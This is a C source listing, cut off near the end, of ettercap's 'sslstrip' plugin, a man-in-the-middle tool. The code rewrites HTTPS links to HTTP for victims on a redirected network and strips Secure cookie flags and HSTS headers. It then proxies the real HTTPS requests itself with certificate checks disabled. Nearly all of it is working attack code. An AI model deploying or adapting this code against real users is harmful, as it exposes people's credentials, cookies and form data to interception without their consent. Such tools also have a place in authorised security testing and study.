1 /*
2     sslstrip -- ettercap plugin -- SSL Strip per Moxie (http://www.thoughtcrime.org/software/sslstrip/)
3 
4     Copyright (C) Ettercap Development Team. 2012.
5 
6     This program is free software; you can redistribute it and/or modify
7     it under the terms of the GNU General Public License as published by
8     the Free Software Foundation; either version 2 of the License, or
9     (at your option) any later version.
10 
11     This program is distributed in the hope that it will be useful,
12     but WITHOUT ANY WARRANTY; without even the implied warranty of
13     MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
14     GNU General Public License for more details.
15 
16     You should have received a copy of the GNU General Public License
17     along with this program; if not, write to the Free Software
18     Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA.
19 
20 */
21 
22 
23 #include <ec.h>
24 #include <ec_stdint.h>
25 #include <ec_inet.h>
26 #include <ec_plugins.h>
27 #include <ec_hook.h>
28 #include <ec_send.h>
29 #include <ec_socket.h>
30 #include <ec_threads.h>
31 #include <ec_decode.h>
32 #include <ec_utils.h>
33 #include <ec_sleep.h>
34 #include <ec_redirect.h>
35 
36 #include <pcre.h>
37 
38 #ifndef HAVE_STRNDUP
39 #include <missing/strndup.h>
40 #endif
41 
42 #ifdef OS_LINUX
43 #include <linux/netfilter_ipv4.h>
44 #endif
45 #if defined OS_LINUX && defined WITH_IPV6
46 #include <linux/netfilter_ipv6/ip6_tables.h>
47 #endif
48 
49 
50 #ifdef HAVE_SYS_POLL_H
51 #include <sys/poll.h>
52 #endif
53 
54 #include <curl/curl.h>
55 
56 #if (LIBCURL_VERSION_MAJOR < 7) || (LIBCURL_VERSION_MINOR < 26)
57 #error libcurl 7.26.0 or up is needed
58 #endif
59 
60 /*
61  * This plugin will basically replace all https links sent to the user's browser with http
62  * but keep track of those https links to send a proper HTTPS request to the links when requested.
63  */
64 
65 
66 #if defined(OS_DARWIN) || defined(OS_BSD)
67 #define SSLSTRIP_SET "21"
68 #endif
69 
70 //#define URL_PATTERN "(href=|src=|url\\(|action=)?[\"']?(https)://([^ \r\\)/\"'>\\)]*)/?([^ \\)\"'>\\)\r]*)"
71 //#define URL_PATTERN "(href=|src=|url\\(|action=)?[\"']?(https)(\\%3A|\\%3a|:)//([^ \r\\)/\"'>\\)]*)/?([^ \\)\"'>\\)\r]*)"
72 #define URL_PATTERN "(https://[\\w\\d:#@%/;$()~_?\\+=\\\\.&-]*)"
73 //#define COOKIE_PATTERN "Set-Cookie: (.*?;)(.?Secure;|.?Secure)(.*?)\r\n"
74 #define COOKIE_PATTERN "Set-Cookie: ([ \\w\\d:#@%/;$()~_?\\+=\\\\.&-]+); ?Secure"
75 
76 
77 #define REQUEST_TIMEOUT 120 /* If a request has not been used in 120 seconds, remove it from list */
78 
79 #define HTTP_RETRY 500
80 #define HTTP_WAIT 10 /* milliseconds */
81 
82 #define PROTO_HTTP 1
83 #define PROTO_HTTPS 2
84 
85 #define HTTP_GET (1<<16)
86 #define HTTP_POST (1<<24)
87 
88 #define HTTP_MAX (1024*200) //200KB max for HTTP requests.
89 
90 #define BREAK_ON_ERROR(x,y,z) do {  \
91    if (x == -E_INVALID ) {            \
92      http_wipe_connection(y);      \
93      SAFE_FREE(z.DATA.data);       \
94      SAFE_FREE(z.DATA.disp_data);  \
95      ec_thread_exit();             \
96    }                                \
97 } while(0)
98 
99 
100 
101 /* lists */
102 struct http_ident {
103    u_int32 magic;
104    #define HTTP_MAGIC 0x0501e77f
105    struct ip_addr L3_src;
106    u_int16 L4_src;
107    u_int16 L4_dst;
108 };
109 
110 #define HTTP_IDENT_LEN sizeof(struct http_ident)
111 
112 struct https_link {
113    char *url;
114    time_t last_used;
115    LIST_ENTRY (https_link) next;
116 };
117 
118 struct http_request {
119    int method;
120    struct curl_slist *headers;
121    char *url;
122    char *payload;
123 };
124 
125 struct http_response {
126    char *html;
127    unsigned long int len;
128 };
129 
130 struct http_connection {
131    int fd;
132    u_int16 port[2];
133    struct ip_addr ip[2];
134    CURL *handle;
135    struct http_request *request;
136    struct http_response *response;
137    char curl_err_buffer[CURL_ERROR_SIZE];
138    #define HTTP_CLIENT 0
139    #define HTTP_SERVER 1
140 };
141 
142 LIST_HEAD(, https_link) https_links;
143 static pthread_mutex_t list_mutex = PTHREAD_MUTEX_INITIALIZER;
144 #define LIST_LOCK     do{ pthread_mutex_lock(&list_mutex); } while(0)
145 #define LIST_UNLOCK   do{ pthread_mutex_unlock(&list_mutex); } while(0)
146 
147 /* globals */
148 static int main_fd, main_fd6;
149 static struct pollfd poll_fd[2];
150 static u_int16 bind_port;
151 static pcre *https_url_pcre;
152 static regex_t find_cookie_re;
153 
154 /* protos */
155 int plugin_load(void *);
156 static int sslstrip_init(void *);
157 static int sslstrip_fini(void *);
158 static void sslstrip(struct packet_object *po);
159 static int sslstrip_is_http(struct packet_object *po);
160 
161 #ifndef OS_LINUX
162 static void sslstrip_create_session(struct ec_session **s, struct packet_object *po);
163 static int sslstrip_match(void *id_sess, void *id_curr);
164 static size_t http_create_ident(void **i, struct packet_object *po);
165 #endif
166 
167 /* http stuff */
168 static void Find_Url(u_char *to_parse, char **ret);
169 
170 
171 static int http_sync_conn(struct http_connection *connection);
172 static int http_get_peer(struct http_connection *connection);
173 static int http_read(struct http_connection *connection, struct packet_object *po);
174 static int http_write(int fd, char *ptr, unsigned long int total_len);
175 static void http_remove_header(char *header, struct http_connection *connection);
176 static void http_update_content_length(struct http_connection *connection);
177 static void http_initialize_po(struct packet_object *po, u_char *p_data, size_t len);
178 static void http_parse_packet(struct http_connection *connection, int direction, struct packet_object *po);
179 static void http_wipe_connection(struct http_connection *connection);
180 static void http_handle_request(struct http_connection *connection, struct packet_object *po);
181 static void http_send(struct http_connection *connection, struct packet_object *po, int proto);
182 static void http_remove_https(struct http_connection *connection);
183 static void http_remove_secure_from_cookie(struct http_connection *connection);
184 static u_int http_receive_from_server(char *ptr, size_t size, size_t nmemb, void *userdata);
185 //static size_t http_write_to_server(void *ptr, size_t size, size_t nmemb, void *stream);
186 
187 
188 
189 /* thread stuff */
190 static int http_bind_wrapper(void);
191 static EC_THREAD_FUNC(http_child_thread);
192 static EC_THREAD_FUNC(http_accept_thread);
193 
194 /*
195  * Custom flag used by plugin to mark packets coming
196  * from this plugin
197  */
198 
199 #define PO_FROMSSLSTRIP ((u_int16)(1<<13))
200 
201 struct plugin_ops sslstrip_ops = {
202    .ettercap_version =   EC_VERSION, /* must match global EC_VERSION */
203    .name =         "sslstrip",
204    .info =         "SSLStrip plugin",
205    .version =      "1.2",
206    .init =         &sslstrip_init,
207    .fini =         &sslstrip_fini,
208 };
209 
plugin_load(void * handle)210 int plugin_load(void *handle)
211 {
212    return plugin_register(handle, &sslstrip_ops);
213 }
214 
sslstrip_init(void * dummy)215 static int sslstrip_init(void *dummy)
216 {
217    const char *error;
218    int erroroffset;
219    int err;
220    char errbuf[100];
221 
222    /* variable not used */
223    (void) dummy;
224 
225    /*
226     * Add IPTables redirect for port 80
227          */
228    if (http_bind_wrapper() != E_SUCCESS) {
229       USER_MSG("SSLStrip: plugin load failed: Could not set up HTTP redirect\n");
230       return PLUGIN_FINISHED;
231    }
232 
233    https_url_pcre = pcre_compile(URL_PATTERN, PCRE_MULTILINE|PCRE_CASELESS, &error, &erroroffset, NULL);
234 
235    if (!https_url_pcre) {
236       USER_MSG("SSLStrip: plugin load failed: pcre_compile failed (offset: %d), %s\n", erroroffset, error);
237       ec_redirect(EC_REDIR_ACTION_REMOVE, "http", EC_REDIR_PROTO_IPV4,
238             NULL, 80, bind_port);
239 #ifdef WITH_IPV6
240       ec_redirect(EC_REDIR_ACTION_REMOVE, "http", EC_REDIR_PROTO_IPV6,
241             NULL, 80, bind_port);
242 #endif
243 
244       return PLUGIN_FINISHED;
245    }
246 
247    err = regcomp(&find_cookie_re, COOKIE_PATTERN, REG_EXTENDED | REG_NEWLINE | REG_ICASE);
248    if (err) {
249       regerror(err, &find_cookie_re, errbuf, sizeof(errbuf));
250       USER_MSG("SSLStrip: plugin load failed: Could not compile find_cookie regex: %s (%d)\n", errbuf, err);
251       pcre_free(https_url_pcre);
252       ec_redirect(EC_REDIR_ACTION_REMOVE, "http" , EC_REDIR_PROTO_IPV4,
253             NULL, 80, bind_port);
254 #ifdef WITH_IPV6
255       ec_redirect(EC_REDIR_ACTION_REMOVE, "http" , EC_REDIR_PROTO_IPV6,
256             NULL, 80, bind_port);
257 #endif
258 
259       return PLUGIN_FINISHED;
260    }
261 
262    hook_add(HOOK_HANDLED, &sslstrip);
263 
264    /* start HTTP accept thread */
265 
266 
267    ec_thread_new_detached("http_accept_thread", "HTTP Accept thread", &http_accept_thread, NULL, 1);
268 
269    USER_MSG("SSLStrip Plugin version 1.2 is still under experimental mode. Please reports any issues to the development team.\n");
270    return PLUGIN_RUNNING;
271 }
272 
sslstrip_fini(void * dummy)273 static int sslstrip_fini(void *dummy)
274 {
275 
276    /* variable not used */
277    (void) dummy;
278 
279    DEBUG_MSG("SSLStrip: Removing redirect\n");
280    if (ec_redirect(EC_REDIR_ACTION_REMOVE, "http", EC_REDIR_PROTO_IPV4,
281             NULL, 80, bind_port) != E_SUCCESS) {
282       USER_MSG("SSLStrip: Unable to remove HTTP redirect, please do so "
283             "manually.\n");
284    }
285 #ifdef WITH_IPV6
286    if (ec_redirect(EC_REDIR_ACTION_REMOVE, "http", EC_REDIR_PROTO_IPV6,
287             NULL, 80, bind_port) != E_SUCCESS) {
288       USER_MSG("SSLStrip: Unable to remove HTTP redirect, please do so "
289             "manually.\n");
290    }
291 #endif
292 
293    // Free regexes.
294    if (https_url_pcre)
295      pcre_free(https_url_pcre);
296 
297    regfree(&find_cookie_re);
298 
299    /* stop accept wrapper */
300    pthread_t pid = ec_thread_getpid("http_accept_thread");
301 
302    if (!pthread_equal(pid, ec_thread_getpid(NULL)))
303            ec_thread_destroy(pid);
304 
305    /* now destroy all http_child_thread */
306    do {
307       pid = ec_thread_getpid("http_child_thread");
308 
309       if(!pthread_equal(pid, ec_thread_getpid(NULL)))
310          ec_thread_destroy(pid);
311 
312    } while (!pthread_equal(pid, ec_thread_getpid(NULL)));
313 
314    close(main_fd);
315 #ifdef WITH_IPV6
316    close(main_fd6);
317 #endif
318 
319    /* Remove hook point */
320    hook_del(HOOK_HANDLED, &sslstrip);
321 
322    return PLUGIN_FINISHED;
323 }
324 
sslstrip_is_http(struct packet_object * po)325 static int sslstrip_is_http(struct packet_object *po)
326 {
327    /* if already coming from SSLStrip or proto is not TCP */
328    if (po->flags & PO_FROMSSLSTRIP || po->L4.proto != NL_TYPE_TCP)
329       return 0;
330 
331    if (ntohs(po->L4.dst) == 80 ||
332        ntohs(po->L4.src) == 80)
333       return 1;
334 
335    if (strstr((const char*)po->DATA.data, "HTTP/1.1") ||
336        strstr((const char*)po->DATA.data, "HTTP/1.0"))
337       return 1;
338    return 0;
339 }
340 
341 #ifndef OS_LINUX
sslstrip_match(void * id_sess,void * id_curr)342 static int sslstrip_match(void *id_sess, void *id_curr)
343 {
344    struct  http_ident *ids = id_sess;
345    struct http_ident *id = id_curr;
346 
347    /* sanity checks */
348    BUG_IF(ids == NULL);
349    BUG_IF(id == NULL);
350 
351    /* check magic */
352    if (ids->magic != id->magic)
353       return 0;
354 
355    if (ids->L4_src == id->L4_src &&
356        ids->L4_dst == id->L4_dst &&
357        !ip_addr_cmp(&ids->L3_src, &id->L3_src))
358    return 1;
359 
360    return 0;
361 }
362 
sslstrip_create_session(struct ec_session ** s,struct packet_object * po)363 static void sslstrip_create_session(struct ec_session **s, struct packet_object *po)
364 {
365    void *ident;
366    DEBUG_MSG("sslstrip_create_session");
367 
368    /* allocate the session */
369    SAFE_CALLOC(*s, 1, sizeof(struct ec_session));
370 
371    /* create the ident */
372    (*s)->ident_len = http_create_ident(&ident, po);
373 
374    /* link to the session */
375    (*s)->ident = ident;
376 
377    /* the matching function */
378    (*s)->match = sslstrip_match;
379 
380    /* alloc of data elements */
381    SAFE_CALLOC((*s)->data, 1, sizeof(struct ip_addr));
382 }
383 #endif
384 
385 /*
386  * Filter HTTP related packets and create NAT sessions
387  */
sslstrip(struct packet_object * po)388 static void sslstrip(struct packet_object *po)
389 {
390 
391    if (!sslstrip_is_http(po))
392       return;
393 
394    /* If it's an HTTP packet, don't forward it */
395     po->flags |= PO_DROPPED;
396 
397 
398    if ( (po->flags & PO_FORWARDABLE) &&
399         (po->L4.flags & TH_SYN) &&
400        !(po->L4.flags & TH_ACK) ) {
401 #ifndef OS_LINUX
402       struct ec_session *s = NULL;
403       sslstrip_create_session(&s, PACKET);
404       memcpy(s->data, &po->L3.dst, sizeof(struct ip_addr));
405       session_put(s);
406 
407 #endif
408    } else {
409       po->flags |= PO_IGNORE;
410    }
411 
412 }
413 
414 /* Unescape the string */
Decode_Url(u_char * src)415 static void Decode_Url(u_char *src)
416 {
417    u_char t[3];
418    u_int32 i, j, ch;
419 
420    /* Paranoid test */
421    if (!src)
422       return;
423 
424    /* NULL terminate for the strtoul */
425    t[2] = 0;
426 
427    for (i=0, j=0; src[i] != 0; i++, j++) {
428       ch = (u_int32)src[i];
429       if (ch == '%' && isxdigit((u_int32)src[i + 1]) && isxdigit((u_int32)src[i + 2])) {
430          memcpy(t, src+i+1, 2);
431          ch = strtoul((char *)t, NULL, 16);
432          i += 2;
433       }
434       src[j] = (u_char)ch;
435    }
436    src[j] = 0;
437 }
438 
439 /* Gets the URL from the request */
Find_Url(u_char * to_parse,char ** ret)440 static void Find_Url(u_char *to_parse, char **ret)
441 {
442    u_char *fromhere, *page=NULL, *host=NULL;
443    u_int32 len;
444    char *tok;
445 
446    if (!strncmp((char *)to_parse, "GET ", 4))
447       to_parse += strlen("GET ");
448    else if (!strncmp((char *)to_parse, "POST ", 5))
449       to_parse += strlen("POST ");
450    else
451       return;
452 
453    /* Get the page from the request */
454    page = (u_char *)strdup((char *)to_parse);
455    if(page == NULL)
456    {
457       USER_MSG("SSLStrip: Find_Url: page is NULL\n");
458       return;
459    }
460 
461    ec_strtok((char *)page, " HTTP", &tok);
462 
463    /* If the path is relative, search for the Host */
464    if ((*page=='/') && (fromhere = (u_char *)strstr((char *)to_parse, "Host: "))) {
465       host = (u_char *)strdup( (char *)fromhere + strlen("Host: ") );
466       if(host == NULL)
467       {
468          USER_MSG("SSLStrip: Find_Url: host is NULL\n");
469          return;
470       }
471       ec_strtok((char *)host, "\r", &tok);
472    } else {
473       host = (u_char*)strdup("");
474       if(host == NULL)
475       {
476          USER_MSG("SSLStrip: Find_Url: relative path, but host is NULL\n");
477          return;
478       }
479    }
480 
481    len = strlen((char *)page) + strlen((char *)host) + 2;
482    SAFE_CALLOC(*ret, len, sizeof(char));
483    snprintf(*ret, len, "%s%s", host, page);
484 
485    SAFE_FREE(page);
486    SAFE_FREE(host);
487 
488    Decode_Url((u_char *)*ret);
489 }
490 
491 
EC_THREAD_FUNC(http_accept_thread)492 static EC_THREAD_FUNC(http_accept_thread)
493 {
494    struct http_connection *connection;
495    struct sockaddr_storage client_ss;
496    u_int len = sizeof(client_ss);
497    int optval = 1, fd = 0, nfds = 1;
498    socklen_t optlen = sizeof(optval);
499    struct sockaddr *sa;
500    struct sockaddr_in *sa4;
501 #ifdef WITH_IPV6
502    struct sockaddr_in6 *sa6;
503 #endif
504 
505 
506    /* variable not used */
507    (void) EC_THREAD_PARAM;
508 
509    ec_thread_init();
510 
511    DEBUG_MSG("SSLStrip: http_accept_thread initialized and ready");
512 
513    poll_fd[0].fd = main_fd;
514    poll_fd[0].events = POLLIN;
515 #ifdef WITH_IPV6
516    poll_fd[1].fd = main_fd6;
517    poll_fd[1].events = POLLIN;
518    nfds++;
519 #endif
520 
521    LOOP {
522 
523       /* wait until one file descriptor becomes active */
524       poll(poll_fd, nfds, -1);
525 
526       /* check which file descriptor became active */
527       if (poll_fd[0].revents & POLLIN)
528          fd = poll_fd[0].fd;
529 #ifdef WITH_IPV6
530       else if (poll_fd[1].revents & POLLIN)
531          fd = poll_fd[1].fd;
532 #endif
533       else
534          continue;
535 
536       /* accept incoming connection */
537       SAFE_CALLOC(connection, 1, sizeof(struct http_connection));
538       BUG_IF(connection==NULL);
539 
540       SAFE_CALLOC(connection->request, 1, sizeof(struct http_request));
541       BUG_IF(connection->request==NULL);
542 
543       SAFE_CALLOC(connection->response, 1, sizeof(struct http_response));
544       BUG_IF(connection->response==NULL);
545 
546       connection->fd = accept(fd, (struct sockaddr *)&client_ss, &len);
547 
548       DEBUG_MSG("SSLStrip: Received connection: %p %p\n", connection, connection->request);
549       if (connection->fd == -1) {
550          DEBUG_MSG("SSLStrip: Failed to accept connection: %s.", strerror(errno));
551          SAFE_FREE(connection->request);
552          SAFE_FREE(connection->response);
553          SAFE_FREE(connection);
554          continue;
555       }
556 
557       sa = (struct sockaddr *)&client_ss;
558       switch (sa->sa_family) {
559          case AF_INET:
560             sa4 = (struct sockaddr_in *)&client_ss;
561             ip_addr_init(&(connection->ip[HTTP_CLIENT]), AF_INET, (u_char *)&(sa4->sin_addr.s_addr));
562             connection->port[HTTP_CLIENT] = sa4->sin_port;
563             break;
564 #ifdef WITH_IPV6
565          case AF_INET6:
566             sa6 = (struct sockaddr_in6 *)&client_ss;
567             ip_addr_init(&(connection->ip[HTTP_CLIENT]), AF_INET6, (u_char *)&(sa6->sin6_addr.s6_addr));
568             connection->port[HTTP_CLIENT] = sa6->sin6_port;
569             break;
570 #endif
571       }
572 
573       connection->port[HTTP_SERVER] = htons(80);
574       //connection->request->len = 0;
575 
576       /* set SO_KEEPALIVE */
577       if (setsockopt(connection->fd, SOL_SOCKET, SO_KEEPALIVE, &optval, optlen) < 0) {
578          DEBUG_MSG("SSLStrip: Could not set up SO_KEEPALIVE");
579       }
580       /* create detached thread */
581       ec_thread_new_detached("http_child_thread", "http child", &http_child_thread, connection, 1);
582    }
583 
584    return NULL;
585 }
586 
http_get_peer(struct http_connection * connection)587 static int http_get_peer(struct http_connection *connection)
588 {
589 
590 #ifndef OS_LINUX
591    struct ec_session *s = NULL;
592    struct packet_object po;
593    void *ident= NULL;
594    int i;
595 
596    memcpy(&po.L3.src, &connection->ip[HTTP_CLIENT], sizeof(struct ip_addr));
597    po.L4.src = connection->port[HTTP_CLIENT];
598    po.L4.dst = connection->port[HTTP_SERVER];
599 
600    http_create_ident(&ident, &po);
601 
602    /* Wait for sniffing thread */
603    for (i=0; i<HTTP_RETRY && session_get_and_del(&s, ident, HTTP_IDENT_LEN)!=E_SUCCESS; i++)
604    ec_usleep(MILLI2MICRO(HTTP_WAIT));
605 
606    if (i==HTTP_RETRY) {
607       SAFE_FREE(ident);
608       return -E_INVALID;
609    }
610 
611    memcpy(&connection->ip[HTTP_SERVER], s->data, sizeof(struct ip_addr));
612 
613    SAFE_FREE(s->data);
614    SAFE_FREE(s);
615    SAFE_FREE(ident);
616 #else
617    struct sockaddr_storage ss;
618    struct sockaddr_in *sa4;
619 #if defined WITH_IPV6 && defined HAVE_IP6T_SO_ORIGINAL_DST
620    struct sockaddr_in6 *sa6;
621 #endif
622    socklen_t ss_len = sizeof(struct sockaddr_storage);
623    switch (ntohs(connection->ip[HTTP_CLIENT].addr_type)) {
624       case AF_INET:
625          if (getsockopt (connection->fd, SOL_IP, SO_ORIGINAL_DST, (struct sockaddr*)&ss, &ss_len) == -1) {
626             WARN_MSG("getsockopt failed: %s", strerror(errno));
627             return -E_INVALID;
628          }
629          sa4 = (struct sockaddr_in *)&ss;
630          ip_addr_init(&(connection->ip[HTTP_SERVER]), AF_INET, (u_char *)&(sa4->sin_addr.s_addr));
631          break;
632 #if defined WITH_IPV6 && defined HAVE_IP6T_SO_ORIGINAL_DST
633       case AF_INET6:
634          if (getsockopt (connection->fd, IPPROTO_IPV6, IP6T_SO_ORIGINAL_DST, (struct sockaddr*)&ss, &ss_len) == -1) {
635             WARN_MSG("getsockopt failed: %s", strerror(errno));
636             return -E_INVALID;
637          }
638          sa6 = (struct sockaddr_in6 *)&ss;
639          ip_addr_init(&(connection->ip[HTTP_SERVER]), AF_INET6, (u_char *)&(sa6->sin6_addr.s6_addr));
640          break;
641 #endif
642    }
643 
644 #endif
645 
646    return E_SUCCESS;
647 
648 }
649 
650 
651 #ifndef OS_LINUX
http_create_ident(void ** i,struct packet_object * po)652 static size_t http_create_ident(void **i, struct packet_object *po)
653 {
654    struct http_ident *ident;
655 
656    SAFE_CALLOC(ident, 1, sizeof(struct http_ident));
657 
658    ident->magic = HTTP_MAGIC;
659 
660    memcpy(&ident->L3_src, &po->L3.src, sizeof(struct ip_addr));
661    ident->L4_src = po->L4.src;
662    ident->L4_dst = po->L4.dst;
663 
664    /* return the ident */
665    *i = ident;
666    return sizeof(struct http_ident);
667 }
668 #endif
669 
http_sync_conn(struct http_connection * connection)670 static int http_sync_conn(struct http_connection *connection)
671 {
672    if (http_get_peer(connection) != E_SUCCESS)
673       return -E_INVALID;
674 
675 
676    set_blocking(connection->fd, 0);
677    return E_SUCCESS;
678 }
679 
http_read(struct http_connection * connection,struct packet_object * po)680 static int http_read(struct http_connection *connection, struct packet_object *po)
681 {
682    int len = 0, ret = -E_INVALID;
683    int loops = HTTP_RETRY;
684 
685    do {
686       len = read(connection->fd, po->DATA.data, HTTP_MAX);
687 
688 
689       if(len <= 0) {
690          /* in non-blocking mode we have to evaluate the socket error */
691          int err = 0;
692          err = GET_SOCK_ERRNO();
693 
694          if (err == EINTR || err == EAGAIN) {
695             /* data not yet arrived, wait a bit and keep trying */
696             ec_usleep(MILLI2MICRO(HTTP_WAIT));
697          }
698          else
699             /* something went wrong */
700             break;
701       }
702       else {
703          /* we got data - break up */
704          ret = E_SUCCESS;
705          break;
706       }
707    } while (--loops > 0);
708 
709    po->DATA.len = len;
710 
711    /* either we got data or something went wrong or timed out */
712    return ret;
713 }
714 
http_handle_request(struct http_connection * connection,struct packet_object * po)715 static void http_handle_request(struct http_connection *connection, struct packet_object *po)
716 {
717    struct https_link *link;
718 
719    SAFE_CALLOC(connection->request->url, 1, 512);
720 
721    if (connection->request->url==NULL)
722       return;
723 
724    Find_Url(po->DATA.data, &connection->request->url);
725 
726    if (connection->request->url == NULL) {
727       return;
728    }
729 
730 
731    //parse HTTP request
732    if (!memcmp(po->DATA.data, "GET", 3)) {
733       connection->request->method = HTTP_GET;
734    } else if (!memcmp(po->DATA.data, "POST", 4)) {
735       connection->request->method = HTTP_POST;
736    }
737 
738    char *r = (char*)po->DATA.data;
739 
740    //Skip the first line of request
741    if ((r = strstr((const char*)po->DATA.data, "\r\n")) == NULL)
742       return; // This doesn't seem to look as a HTTP header
743 
744    r += 2; //Skip \r\n
745 
746    char *h = strdup(r);
747    char *body = strdup(r);
748    BUG_IF(h==NULL);
749    BUG_IF(body==NULL);
750 
751    char *end_header = strstr(h, "\r\n\r\n");
752 
753    if (!end_header)
754    {
755       SAFE_FREE(h);
756       SAFE_FREE(body);
757       return; //Something went really wrong here
758    }
759    *end_header = '\0';
760 
761    char *header;
762    char *saveptr;
763    header = ec_strtok(h, "\r\n", &saveptr);
764 
765    while(header) {
766       connection->request->headers = curl_slist_append(connection->request->headers, header);
767       header = ec_strtok(NULL, "\r\n", &saveptr);
768    }
769 
770    SAFE_FREE(h);
771 
772    char *b = strstr(body, "\r\n\r\n");
773 
774    if (b != NULL) {
775       b += 4;
776       connection->request->payload = strdup(b);
777       BUG_IF(connection->request->payload == NULL);
778    }
779 
780    SAFE_FREE(body);
781 
782 
783    int proto = PROTO_HTTP;
784 
785    LIST_LOCK;
786    LIST_FOREACH(link, &https_links, next) {
787       if (!strcmp(link->url, connection->request->url)) {
788          proto = PROTO_HTTPS;
789          break;
790       }
791    }
792 
793    LIST_UNLOCK;
794 
795 
796    switch(proto) {
797       case PROTO_HTTP:
798          DEBUG_MSG("SSLStrip: Sending HTTP request");
799          break;
800       case PROTO_HTTPS:
801          DEBUG_MSG("SSLStrip: Sending HTTPs request");
802          break;
803    }
804 
805    http_send(connection,po, proto);
806 }
807 
http_send(struct http_connection * connection,struct packet_object * po,int proto)808 static void http_send(struct http_connection *connection, struct packet_object *po, int proto)
809 {
810 
811    curl_global_init(CURL_GLOBAL_ALL);
812    connection->handle = curl_easy_init();
813 
814    if(!connection->handle) {
815       DEBUG_MSG("SSLStrip: Not enough memory to allocate CURL handle");
816       return;
817    }
818 
819    char *url;
820 
821    //Allow decoders to run for request
822    if (proto == PROTO_HTTPS) {
823       curl_easy_setopt(connection->handle, CURLOPT_SSL_VERIFYPEER, 0L);
824       curl_easy_setopt(connection->handle, CURLOPT_SSL_VERIFYHOST, 0L);
825 
826       SAFE_CALLOC(url, 1, strlen(connection->request->url)+strlen("https://")+1);
827       snprintf(url, strlen(connection->request->url)+strlen("https://")+1, "https://%s", connection->request->url);
828    } else {
829       SAFE_CALLOC(url, 1, strlen(connection->request->url)+strlen("http://")+1);
830       snprintf(url, strlen(connection->request->url)+strlen("http://")+1, "http://%s", connection->request->url);
831    }
832 
833 
834    if (url==NULL) {
835       DEBUG_MSG("Not enough memory to allocate for URL %s\n", connection->request->url);
836       return;
837    }
838 
839 
840    curl_easy_setopt(connection->handle, CURLOPT_HTTP_VERSION, CURL_HTTP_VERSION_1_1);
841    curl_easy_setopt(connection->handle, CURLOPT_URL, url);
842    curl_easy_setopt(connection->handle, CURLOPT_WRITEFUNCTION, http_receive_from_server);
843    curl_easy_setopt(connection->handle, CURLOPT_WRITEDATA, connection);
844    curl_easy_setopt(connection->handle, CURLOPT_ERRORBUFFER, connection->curl_err_buffer);
845    curl_easy_setopt(connection->handle, CURLOPT_HEADER, 1L);
846    curl_easy_setopt(connection->handle, CURLOPT_HTTPHEADER, connection->request->headers);
847    curl_easy_setopt(connection->handle, CURLOPT_ACCEPT_ENCODING, "gzip");
848    curl_easy_setopt(connection->handle, CURLOPT_ACCEPT_ENCODING, "deflate");
849    curl_easy_setopt(connection->handle, CURLOPT_COOKIEFILE, ""); //Initialize cookie engine
850 
851    /* Only allow HTTP and HTTPS */
852    curl_easy_setopt(connection->handle, CURLOPT_PROTOCOLS, (long) CURLPROTO_HTTP |
853                   (long)CURLPROTO_HTTPS);
854    curl_easy_setopt(connection->handle, CURLOPT_REDIR_PROTOCOLS, (long) CURLPROTO_HTTP |
855                   (long) CURLPROTO_HTTPS);
856 
857 
858    if(connection->request->method == HTTP_POST) {
859       curl_easy_setopt(connection->handle, CURLOPT_POST, 1L);
860       curl_easy_setopt(connection->handle, CURLOPT_POSTFIELDS, connection->request->payload);
861       curl_easy_setopt(connection->handle, CURLOPT_POSTFIELDSIZE, strlen(connection->request->payload));
862    }
863 
864 
865    if(curl_easy_perform(connection->handle) != CURLE_OK) {
866       DEBUG_MSG("Unable to send request to HTTP server: %s\n", connection->curl_err_buffer);
867       return;
868    } else {
869       DEBUG_MSG("SSLStrip: Sent request to server");
870    }
871 
872    DEBUG_MSG("Before removing https: %s", connection->response->html);
873    DEBUG_MSG("SSLStrip: Removing HTTPS");
874    http_remove_https(connection);
875    http_remove_secure_from_cookie(connection);
876 
877    if(strstr(connection->response->html, "\r\nContent-Encoding:") ||
878       strstr(connection->response->html, "\r\nTransfer-Encoding:")) {
879       http_remove_header("Content-Encoding", connection);
880       http_remove_header("Transfer-Encoding", connection);
881    }
882 
883 
884    if(strstr(connection->response->html, "\r\nStrict-Transport-Security:")) {
885       http_remove_header("Strict-Transport-Security", connection);
886    }
887 
888    /* adjust content length header value */
889    http_update_content_length(connection);
890 
891    DEBUG_MSG("SSLStrip: after removing all %s", connection->response->html);
892    //Send result back to client
893    DEBUG_MSG("SSLStrip: Sending response back to client");
894    if (http_write(connection->fd, connection->response->html, connection->response->len) != E_SUCCESS){
895       DEBUG_MSG("Unable to send HTTP response back to client\n");
896    } else {
897       DEBUG_MSG("Sent HTTP response back to client");
898    }
899 
900 
901    //Allow decoders to run on HTTP response
902    http_initialize_po(po, (u_char*)connection->response->html, connection->response->len);
903    packet_destroy_object(po);
904       po->len = po->DATA.len;
905       po->L4.flags |= TH_PSH;
906    packet_disp_data(po, po->DATA.data, po->DATA.len);
907 
908    DEBUG_MSG("SSLStrip: Calling parser for response");
909    http_parse_packet(connection, HTTP_SERVER, po);
910 
911    //Free up request
912    if (connection->request->headers) {
913       curl_slist_free_all(connection->request->headers);
914       connection->request->headers = NULL;
915    }
916 
917 
918    if (connection->request->method == HTTP_POST) {
919       SAFE_FREE(connection->request->payload);
920    }
921 
922    SAFE_FREE(connection->request->url);
923 
924    SAFE_FREE(url);
925 
926    if(connection->handle) {
927       curl_easy_cleanup(connection->handle);
928       curl_global_cleanup();
929       connection->handle = NULL;
930    }
931 
932    DEBUG_MSG("SSLStrip: Done");
933 }
934 
http_write(int fd,char * ptr,unsigned long int total_len)935 static int http_write(int fd, char *ptr, unsigned long int total_len)
936 {
937    int len, err;
938    unsigned int bytes_sent = 0;
939    int bytes_remaining = total_len;
940 
941    DEBUG_MSG("SSLStrip: Total length %lu", total_len);
942 
943    while (bytes_sent < total_len) {
944 
945       if(!ptr)
946          break;
947       len = write(fd, ptr+bytes_sent, bytes_remaining);
948 
949       if (len <= 0) {
950          err = GET_SOCK_ERRNO();
951          DEBUG_MSG("http_write: SOCK ERR: %d", err);
952          if (err != EAGAIN && err != EINTR)
953             return -E_INVALID;
954       }
955 
956       DEBUG_MSG("SSLStrip: Sent %d bytes", len);
957 
958       bytes_sent += len;
959       bytes_remaining -= len;
960 
961       DEBUG_MSG("SSLStrip: Bytes sent %d", bytes_sent);
962       ec_usleep(MILLI2MICRO(100)); // 100ms
963 
964 
965    }
966 
967    return E_SUCCESS;
968 }
969 
970 #if 0
971 static size_t http_write_to_server(void *ptr, size_t size, size_t nmemb, void *stream)
972 {
973    struct packet_object *po = (struct packet_object *)stream;
974 
